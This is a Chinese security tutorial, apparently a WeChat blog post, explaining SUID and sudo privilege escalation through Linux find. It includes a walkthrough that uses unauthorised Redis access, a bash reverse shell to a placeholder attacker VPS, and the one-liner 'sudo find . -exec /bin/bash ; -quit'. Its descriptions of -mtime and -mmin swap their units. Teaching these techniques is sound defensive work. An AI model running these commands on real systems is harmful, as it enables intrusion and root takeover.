免责声明:文章仅用于技术分享,切勿非法测试,由于传播、利用本公众号朱厌安全团队所提供的信息而造成的后果以及损失,均由使用者本人承担,本公众号朱厌安全团队以及作者不为此承担任何责任!如有侵权烦请告知,我们会立即删除并致歉!
0X00 前言
SUID 特殊权限仅适用于可执行文件,所具有的功能是,只要用户对设有 SUID 的文件有执行权限,那么当用户执行此文件时,会以文件所有者的身份去执行此文件,一旦文件执行结束,身份的切换也随之消失。
Find提权也是利用的这一点,利用前提是find命令具有SUID权限,在执行find命令的时候是以文件所有者的身份去执行的,当文件所有者为root时,可以利用find来充当高权限角色执行被限制的命令
0X01 Find基础命令
-
find常用参数
语法:find 【path...】 【expression】
`path`为查找路径,` . `为当前路径,` / `为根目录,`expression`为参数
参数列表参考:
-name:按照文件名查找文件
-perm:按照文件权限来查找文件,4000,2000,1000为分别表示SUID,SGID,SBIT,如777为普通文件的最高权限,7000为特殊文件的最高权限
-user:按照文件属性来查找
-size n:文件大小是n个单位
-type:
1. d:目录
2. f:文件
3. c:字符设备文件(Character Device Files)--字符设备文**件允许用户以字节为单位与其进行交互**,这意味着数据可以按照任意大小和顺序进行读写。常见的字符设备包括键盘、鼠标和串口,比如`/dev/tty`
4. b:块设备文件(Block Device Files)--与字符设备相对,**块设备文件则是以块为单位进行读写的**。一块通常包含多个字节,例如512字节或4096字节等。<u>块设备的读写通常比字符设备要高效</u>,因此大多数**存储设备**(如硬盘和USB驱动器)都被视为块设备,例如,/dev/sda`
-atime n: time表示日期,时间单位是day,查找系统最后n*24小时内曾被存取过的文件或目录
-amin n: 查找系统最后n分钟内曾被存取过的文件或目录
-ctime n: 查找系统中最后n*24小时内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-cmin n: 查找系统中最后N分钟内曾被改变文件状态(权限、所属组、位置…)的文件或目录
-mtime: 查找系统中最后N分钟内曾被更改过的文件或目录
-mmin n: 查找系统中最后n*24小时内曾被更改过的文件或目录
-print: 将匹配的文件输出到标准输出
-exec: find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为’command’ { } ;,注意{ }和;之间的空格。
0X02 攻防中find提权的使用
场景:
- 攻击VPS:
VPS (由于VPS文中打码处理,这里用VPS字符串代替) - 靶机系统:
10.1.1.1 (由于靶机IP文中打码处理,这里用虚拟域名代替) - WEB侧漏洞点:
Redis主从复制历史漏洞 - 内网考查点:
Find提权
复现:
-
经过扫描发现redis默认端口开启,测试后有未授权漏洞,这里使用脚本直接利用
-
c. 反弹shell,命令为:
bash -c "bash -i >&/dev/tcp/VPS/PORT 0>&1"
shell反弹完成
b. 可以看到,可以使用高权限用户执行find命令,所以可以尝试find命令提权执行命令,进行find提权
sudo find . -exec /bin/bash ; -quit
该命令意思是:使用高权限执行find命令搜索当前文件夹文件,并且执行/bin/bash命令,执行bash命令后会返回一个新的shell,;结束exec调用,-quit 退出查找
find提权完成
0X03 Find提权原理总结
find命令内置了命令执行的参数,并且find命令在有SUID权限,这使得攻击者可以间接的使用find执行有所有者执行权限的命令,即高权限命令,进而达到提权效果
原文始发于微信公众号(朱厌安全):权限提升之Find提权
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论